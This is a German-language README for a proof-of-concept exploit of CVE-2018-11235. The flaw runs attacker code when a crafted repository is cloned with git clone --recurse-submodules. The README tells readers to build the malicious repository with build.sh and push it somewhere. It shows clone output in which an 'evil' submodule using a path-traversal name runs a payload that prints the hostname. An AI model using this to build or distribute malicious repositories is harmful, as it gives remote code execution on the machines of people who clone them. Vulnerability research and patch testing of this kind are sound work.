
PoC-Exploit für CVE-2018-11235, der RCE bei git clone --recurse-submodules ermöglicht.
GitHub erlaubt mir nicht, ein Repository zu pushen, das die Schwachstelle ausnutzt (guter Punkt für sie), daher müssen Sie es selbst erstellen, indem Sie das Skript build.sh ausführen.
Dann schieben Sie das Repository irgendwohin. Wenn Sie es mit dem Flag --recurse-submodules klonen, wird das böse Skript ausgeführt:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Code abgeleitet von @peffs git patch (schauen Sie in der Testdatei t/t7415-submodule-names.sh).
Als solches wird dieses Repository unter der GNU General Public License Version 2 veröffentlicht.
Zusätzliche Korrektur für ältere Git-Versionen mit freundlicher Genehmigung von @atorralba (Details in diesem Beitrag).